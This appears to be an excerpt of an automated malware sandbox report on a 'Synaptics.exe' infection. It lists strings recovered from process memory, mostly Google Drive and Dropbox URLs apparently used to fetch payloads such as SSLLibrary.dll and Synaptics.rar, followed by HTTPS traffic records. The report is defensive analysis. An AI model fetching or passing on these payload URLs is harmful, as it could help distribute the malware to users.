00000014.00000002.2144725796.00000000073FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147449211.0000000008C7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147882709.000000000967E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2144898218.00000000077BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147175919.000000000863E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147029511.00000000083BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147982869.00000000098FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2143160050.000000000511E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2147727813.00000000092BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146977316.000000000827E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq
Source: Synaptics.exe, 00000014.00000002.2146920870.000000000813E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq&&
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq4
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq8
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadq8b
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqV
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadqx
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr1
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadr?g
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadra.Q
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadra_
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadroid.
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrse
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadrvice
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads-X
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloads;d
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadse
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadservi-
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadsg
Source: Synaptics.exe, 00000003.00000002.1441338159.0000000000717000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976029257.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935661100.0000000004C72000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt#r_
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt.cn
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt1
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadt9a
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadta
Source: Synaptics.exe, 00000003.00000002.1443067594.0000000005481000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtd
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC6A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadtleniyor...
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CF7000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadty
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.00000000053D9000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadu
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadugW
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadurity
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadurity;
Source: Synaptics.exe, 00000003.00000002.1445445710.000000000720D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000003.00000003.1316708703.000000000543A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005442000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvP
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadvine.
Source: Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw#
Source: Synaptics.exe, 00000014.00000002.2140164000.0000000000787000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwK~
Source: Synaptics.exe, 00000014.00000002.2151463286.000000000EBC0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadwfx
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2018131759.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976029257.0000000007EA3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EFF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976684823.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CE3000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadx/
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadxSs
Source: Synaptics.exe, 00000003.00000002.1445445710.0000000007160000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004D36000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004C60000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady1
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloady?j
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyQ
Source: Synaptics.exe, 00000014.00000002.2145229675.0000000007E3E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyfS
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyndic
Source: Synaptics.exe, 00000003.00000003.1316708703.0000000005406000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoutu
Source: Synaptics.exe, 00000014.00000002.2140164000.000000000073E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadyoutuT/
Source: Synaptics.exe, 00000014.00000003.1976684823.0000000004CEE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004CE1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadz
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006C4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadzV
Source: Synaptics.exe, 00000003.00000002.1446731024.00000000072BC000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.2017353207.0000000007F17000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FEC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~;k
Source: Synaptics.exe, 00000003.00000002.1441338159.000000000063D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download~sD
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloX
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloXO
Source: ~$cache1.20.dr	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download
Source: Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=downloadN
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2142028960.0000000004C7C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/6
Source: Synaptics.exe, 00000014.00000002.2152064699.000000000EC51000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/PIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/dow
Source: Synaptics.exe, 00000003.00000003.1316708703.0000000005415000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1443067594.0000000005410000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=d
Source: Synaptics.exe, 00000014.00000002.2140164000.00000000007DF000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000003.1935043043.0000000004CCD000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2145760240.0000000007EB1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000014.00000002.2140164000.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download.
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download/
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download3
Source: Synaptics.exe, 00000014.00000002.2140164000.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download;
Source: Synaptics.exe, 00000014.00000002.2140164000.00000000007DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadE
Source: Synaptics.exe, 00000003.00000002.1445445710.00000000071B1000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000003.00000002.1445445710.00000000071B5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadc
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloade
Source: Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg14
Source: Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg14-
Source: Synaptics.exe, 00000014.00000002.2140164000.00000000007F4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadg14c
Source: Synaptics.exe, 00000014.00000003.1976493494.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadl
Source: Synaptics.exe, 00000003.00000002.1441338159.00000000006B0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadp
Source: Synaptics.exe, 00000014.00000003.2017995324.00000000007F2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadv
Source: Synaptics.exe, 00000014.00000002.2142028960.0000000004D2C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downloadw
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/lesa
Source: Synaptics.exe, 00000014.00000002.2146834309.0000000007FF8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/mppr
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=
Source: ~$cache1.20.dr	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1
Source: Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1:
Source: ~$cache1.20.dr	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1
Source: Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=16
Source: Dzsb.Qyd.Install.exe, 00000000.00000003.1252118782.0000000002320000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dlH
Source: ~$cache1.20.dr	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1
Source: Synaptics.exe, 00000003.00000002.1442035103.00000000022C0000.00000004.00001000.00020000.00000000.sdmp, Synaptics.exe, 00000014.00000002.2140924392.0000000002490000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1:

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49744
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49743
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49742
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49740
Source: unknown	Network traffic detected: HTTP traffic on port 49789 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49800 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49743 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49720 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49736
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49735
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49733
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 49812 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49823 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49729
Source: unknown	Network traffic detected: HTTP traffic on port 49777 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49726
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49724
